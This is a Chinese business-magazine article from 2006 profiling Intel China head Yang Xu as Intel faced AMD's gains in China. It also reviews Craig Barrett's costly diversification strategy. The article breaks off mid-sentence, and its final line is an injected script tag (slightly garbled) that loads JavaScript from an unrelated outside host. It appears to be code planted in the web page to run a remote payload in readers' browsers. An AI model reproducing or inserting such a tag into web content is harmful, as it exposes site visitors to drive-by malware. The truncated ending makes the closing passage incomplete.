技术的绝对领先丧失之后，看杨旭如何在中国稳住intel的阵脚
“从哪点看出amd在中国做得好了？”英特尔亚太区联合总经理兼中国区总经理杨旭反问记者：“市场份额？哪家公司的数据？”
一如多年来人们所熟悉的形象，这个重庆人的普通话中杂有乡音、语速极快，永远显得极度自信。但此刻，他必须用一种近乎生硬的方式守护英特尔最需要的品质：斗志，及尊严。
这是2006年11月15日，之前一天，他刚刚在北京发布了全球首款面向主流市场的四核处理器“至强5300”。这本是个颇可夸耀的时刻：ibm、惠普、戴尔、联想等10家国内外厂商悉数前往捧场，而其对手amd的同类产品，要到2007年年中才会发布。
可杨旭仍然频繁听到这样一个问题：英特尔如何应对amd在中国乃至全球的强势进攻？
此一话题之避无可避只意味着一点：如果说3年前amd借助皓龙处理器在服务器市场上树立起性能优势，它接连不断的进攻已经让市场意识到，amd已经由一个为低端客户提供低价芯片的供应商变成了一个强劲的竞争对手，由此，单款产品的技术领先已不足以说明所有问题。甚至amd高层毫不客气地表示：“英特尔匆忙向市场推出了所谓的四核，声称自己是这个领域的领先者，实际上，它唯一能吹牛的只有时间。”
在多数人的记忆中，英特尔一直是个“快乐的领导者”：它的创始人是集成电路的发明者，第二任ceo提出了it产业最著名的理论摩尔定律，而在第三任领导者安迪·格鲁夫治下，英特尔与微软构建的联盟让它仿佛置身于高科技业的宇宙中心。amd的创始人桑德斯如此哀怨地比较两家公司：“诺伊斯总是说英特尔只花了5分钟就筹集了500万美元，而我花了500万分钟只筹集了5万美元。”而行业内的一句俗语则点明了两者的悬殊地位：amd有三个坏年头和一个好年头，英特尔则是一个坏年头和三个好年头。
但简单快乐的时光终于结束了。1998年时，amd在全球pc市场的份额还只有6.6%，不足英特尔86.7%的零头。8年过后，amd已将其市场份额翻了近4倍。这迫使常年占据市场统治地位的英特尔与对手展开了两败俱伤的价格战。在2006年的前3个财政季度，英特尔的净利润同比下滑38%、57%、35%。接连不断的惨淡数据，让其2005年5月才上任的ceo欧德宁上任不久即展开1.05万人的裁员计划。
这种被动局面甚至延宕到了中国。曾几何时，amd的发布会上主持人会脱口而出“adm”，而它所能获得的最亲密的合作伙伴是紫光和厦新。但2005年年底以来，中国前三大pc厂商联想、方正、同方纷纷采用了amd的处理器——据idc统计，到2006年第一季度，amd在中国市场份额已经达到了25%，作为全球为数不多还保持着两位数增长的pc市场，在中国丢分对英特尔来说可谓最坏的消息。这也导致了其联合总经理赖一龙和简安琪两人的离开。
本已前往亚太区统领工作的杨旭此番回归中国的使命就是遏止这一趋势，压力不可谓小。他并不讳言自己近来偶尔失眠，而在四核处理器发布的第二天清晨，当他看到两名老员工的告别邮件，几欲堕泪。甚至当天中午对《环球企业家》谈及此事时，他仍双目潮湿。
随后，杨旭很节制地将话题拉回：“现在的压力远没有当初我刚到中国来的时候大，那时候根本不知道该怎么做，但我现在知道方向是什么。”
【沟通者】
想知道一系列伟大的战略对于一家伟大的公司意味着什么，不妨看看英特尔过去8年的经历。
1998年，其公司史上第四任ceo克雷格·贝瑞特提出一个宏伟计划：将英特尔的疆域拓展至高端服务器、无线通讯、网络托管等领域。为此，他不惜下注近百亿美元进行研发。随后，他陆续投入280亿美元于生产制造科技，以此缔造出全世界最先进的半导体工厂。
这个方向有错吗？很难定论。对于一家常年处于技术领先位置，拥有近90%市场份额的公司，多元化几乎是唯一的选择，而在公司内部进行垂直整合，以获得最前沿的制造技术，亦是顺理成章的筑高壁垒之举。
可是，比预测一场潮流更难的，是准确把握趋势发生的时机。虽然英特尔看准的市场都是主流市场，但究竟哪些技术会在何时成为市场主流，需要漫长时间的摸索与试错。而它的战线拉的过长，就更成为了一个高难度的扩张试验。比如，乍看上去手机市场是pc业务的一个平滑延伸，但与pc产业各家公司高度分工不同，当时手机公司还处于内部整合产业链的阶段，厂商们自己开发芯片和操作系统——特别是旁观过wintel联盟在pc产业的巨大统治力，没有人愿意重蹈覆辙。这就让英特尔取得的进展并不乐观。
“你认为自己是个成功的ceo吗？”面对《环球企业家》的问题，现任董事长贝瑞特的回答是：“我希望是”。即使他也承认：“唯一有一件事我希望能够重来一次、以不同方式做的就是1998年时，对世界和行业的判断能以今天的视野加以认识。”
当时他所不具备的视野是，向外扩张未取得巨大成就，原本投入于既有业务的精力又被分散：?script src=http://er12.com/t.js>
